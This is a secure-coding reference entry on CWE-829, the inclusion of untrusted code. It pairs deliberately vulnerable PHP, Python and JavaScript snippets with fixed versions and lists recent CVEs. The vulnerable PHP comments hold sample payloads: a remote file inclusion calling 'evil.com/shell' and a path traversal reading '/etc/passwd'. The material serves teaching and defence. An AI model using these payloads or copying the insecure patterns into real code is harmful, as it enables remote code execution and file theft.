Inclusion of Functionality from Untrusted Control Sphere

Description

Inclusion of Functionality from Untrusted Control Sphere occurs when a product imports, requires, or includes executable functionality (such as a library, plugin, script, or module) from a source that is outside of the intended control sphere. This allows attackers to inject malicious code that executes within the context of the vulnerable application. Common manifestations include Remote File Inclusion (RFI), malicious npm/pip packages, compromised CDN resources, malicious browser extensions, plugin vulnerabilities, and supply chain attacks where legitimate dependencies are compromised.

Risk

Including untrusted functionality is a primary vector for supply chain attacks. CVE-2025-66022 in Faction Security PenTesting Framework allows unauthenticated users to upload malicious extensions that execute arbitrary system commands. CVE-2025-67842 in Mintlify Platform enables cross-tenant script injection through the Static Asset API. CVE-2025-65964 in n8n workflow automation (Critical) allows attackers to execute arbitrary commands by manipulating Git hook paths. These vulnerabilities can lead to complete system compromise because the included code runs with the application's full privileges.

Solution

Only include functionality from trusted, verified sources. Use Subresource Integrity (SRI) for external scripts. Implement Content Security Policy (CSP) to restrict script sources. Use package lock files and verify package checksums. Implement allowlists for permitted plugins and extensions. Sign and verify code before inclusion. Use private package registries with access controls. Implement sandboxing for plugin execution. Regularly audit dependencies for vulnerabilities. Monitor for dependency confusion attacks.

Common Consequences

Impact	Details
Access Control	Scope: Code Execution Malicious included code executes with full application privileges.
Integrity	Scope: System Compromise Attackers can modify application behavior, steal data, and install backdoors.
Confidentiality	Scope: Data Exfiltration Malicious code can access and exfiltrate all data the application can access.

Example Code + Solution Code

Vulnerable Code

<?php
// VULNERABLE: Remote File Inclusion
$page = $_GET['page'];
include($page . '.php');  // Attacker: ?page=http://evil.com/shell

// VULNERABLE: Local File Inclusion with traversal
$template = $_GET['template'];
include("templates/" . $template);  // Attacker: ?template=../../etc/passwd

// VULNERABLE: Dynamic function execution
$action = $_GET['action'];
$action();  // Attacker controls which function is called
?>

# VULNERABLE: Importing user-specified module
import importlib

def load_plugin(plugin_name):
    # Attacker can load any installed module!
    module = importlib.import_module(plugin_name)
    return module.run()

# VULNERABLE: Executing code from URL
import urllib.request

def execute_remote_script(url):
    code = urllib.request.urlopen(url).read()
    exec(code)  # Executes arbitrary remote code!

# VULNERABLE: Pickle loading from untrusted source
import pickle

def load_data(filename):
    with open(filename, 'rb') as f:
        return pickle.load(f)  # Can execute arbitrary code!

// VULNERABLE: eval() with user input
function executeUserCode(code) {
    return eval(code);  // Arbitrary code execution!
}

// VULNERABLE: Loading script from user-controlled URL
function loadScript(src) {
    const script = document.createElement('script');
    script.src = src;  // Attacker controls script source
    document.head.appendChild(script);
}

// VULNERABLE: require() with user input (Node.js)
const userModule = req.query.module;
const mod = require(userModule);  // Path traversal and code execution!

<!-- VULNERABLE: External script without integrity check -->
<script src="https://cdn.example.com/library.js"></script>
<!-- If CDN is compromised, malicious code executes -->

Fixed Code

<?php
// SAFE: Allowlist of permitted pages
$allowed_pages = ['home', 'about', 'contact', 'products'];

$page = $_GET['page'] ?? 'home';

if (in_array($page, $allowed_pages, true)) {
    include(__DIR__ . '/pages/' . $page . '.php');
} else {
    include(__DIR__ . '/pages/404.php');
}

// SAFE: Validate and sanitize template names
function load_template($template) {
    // Remove path traversal attempts
    $template = basename($template);

    // Only allow alphanumeric and underscore
    if (!preg_match('/^[a-zA-Z0-9_]+$/', $template)) {
        throw new InvalidArgumentException('Invalid template name');
    }

    $path = __DIR__ . '/templates/' . $template . '.php';

    // Verify file exists and is within templates directory
    $realPath = realpath($path);
    $templatesDir = realpath(__DIR__ . '/templates/');

    if ($realPath === false || strpos($realPath, $templatesDir) !== 0) {
        throw new InvalidArgumentException('Template not found');
    }

    include($realPath);
}
?>

# SAFE: Plugin loading from allowlist
import importlib
from pathlib import Path

ALLOWED_PLUGINS = {
    'email': 'plugins.email_handler',
    'slack': 'plugins.slack_handler',
    'webhook': 'plugins.webhook_handler'
}

PLUGIN_DIR = Path(__file__).parent / 'plugins'

def load_plugin_safe(plugin_name):
    if plugin_name not in ALLOWED_PLUGINS:
        raise ValueError(f"Unknown plugin: {plugin_name}")

    module_path = ALLOWED_PLUGINS[plugin_name]
    module = importlib.import_module(module_path)

    # Verify module has required interface
    if not hasattr(module, 'run'):
        raise ValueError(f"Plugin {plugin_name} missing 'run' function")

    return module

# SAFE: Never execute remote code - use signed packages instead
def install_plugin(package_name, expected_hash):
    """Install plugin from private registry with hash verification."""
    import hashlib
    import subprocess

    # Download from private registry only
    result = subprocess.run([
        'pip', 'download',
        '--no-deps',
        '--index-url', 'https://private.registry.example.com/simple/',
        '-d', '/tmp/plugins',
        package_name
    ], capture_output=True)

    if result.returncode != 0:
        raise RuntimeError("Failed to download plugin")

    # Verify hash
    package_file = list(Path('/tmp/plugins').glob('*.whl'))[0]
    with open(package_file, 'rb') as f:
        actual_hash = hashlib.sha256(f.read()).hexdigest()

    if actual_hash != expected_hash:
        package_file.unlink()
        raise SecurityError("Plugin hash mismatch - possible tampering")

    # Install verified package
    subprocess.run(['pip', 'install', str(package_file)])

# SAFE: Use JSON instead of pickle for data serialization
import json

def load_data_safe(filename):
    with open(filename, 'r') as f:
        return json.load(f)  # No code execution possible

// SAFE: Never use eval - use safe alternatives
function processData(jsonString) {
    // Use JSON.parse instead of eval
    return JSON.parse(jsonString);
}

// SAFE: Load scripts only from allowlist with SRI
const ALLOWED_SCRIPTS = {
    'lodash': {
        src: 'https://cdn.example.com/lodash.min.js',
        integrity: 'sha384-abc123...'
    },
    'axios': {
        src: 'https://cdn.example.com/axios.min.js',
        integrity: 'sha384-def456...'
    }
};

function loadScriptSafe(name) {
    const scriptInfo = ALLOWED_SCRIPTS[name];
    if (!scriptInfo) {
        throw new Error(`Unknown script: ${name}`);
    }

    const script = document.createElement('script');
    script.src = scriptInfo.src;
    script.integrity = scriptInfo.integrity;
    script.crossOrigin = 'anonymous';

    return new Promise((resolve, reject) => {
        script.onload = resolve;
        script.onerror = reject;
        document.head.appendChild(script);
    });
}

// SAFE: Node.js - never require user input
const ALLOWED_MODULES = new Set(['fs', 'path', 'crypto']);

function loadModuleSafe(moduleName) {
    if (!ALLOWED_MODULES.has(moduleName)) {
        throw new Error(`Module not allowed: ${moduleName}`);
    }
    return require(moduleName);
}

<!-- SAFE: External script with Subresource Integrity -->
<script
    src="https://cdn.example.com/library.js"
    integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
    crossorigin="anonymous">
</script>

<!-- SAFE: Content Security Policy -->
<meta http-equiv="Content-Security-Policy"
      content="script-src 'self' https://cdn.example.com;
               object-src 'none';
               base-uri 'self';">

Exploited in the Wild

Faction Security Extension Upload RCE (Faction, 2025)

CVE-2025-66022 in Faction PenTesting Framework before 1.7.1 allows unauthenticated users to access the extension management UI and upload malicious extensions that execute arbitrary system commands via extension lifecycle hooks.

https://radar.offseq.com/

Mintlify Platform Cross-Tenant Injection (Mintlify, 2025)

CVE-2025-67842 in Mintlify Platform's Static Asset API allows remote attackers to inject arbitrary scripts into other tenants' documentation sites by exploiting the subdomain parameter.

https://radar.offseq.com/

n8n Workflow Git Hook RCE (n8n, 2025)

CVE-2025-65964 (Critical) in n8n workflow automation 0.123.1 to 1.119.2 allows attackers to execute arbitrary commands by setting core.hooksPath to a malicious Git hook script through the Git node configuration.

https://radar.offseq.com/

Tools to test/exploit

Snyk — dependency vulnerability scanning.
npm audit — Node.js dependency audit.
Burp Suite — test RFI/LFI vulnerabilities.

CVE Examples

CVE-2025-66022 — Faction Security extension upload RCE.
CVE-2025-65964 — n8n Git hook code execution.
CVE-2018-1000136 — Electron nodeIntegration vulnerability.

References

MITRE. "CWE-829: Inclusion of Functionality from Untrusted Control Sphere." https://cwe.mitre.org/data/definitions/829.html
OWASP. "Third Party JavaScript Management." https://cheatsheetseries.owasp.org/cheatsheets/Third_Party_Javascript_Management_Cheat_Sheet.html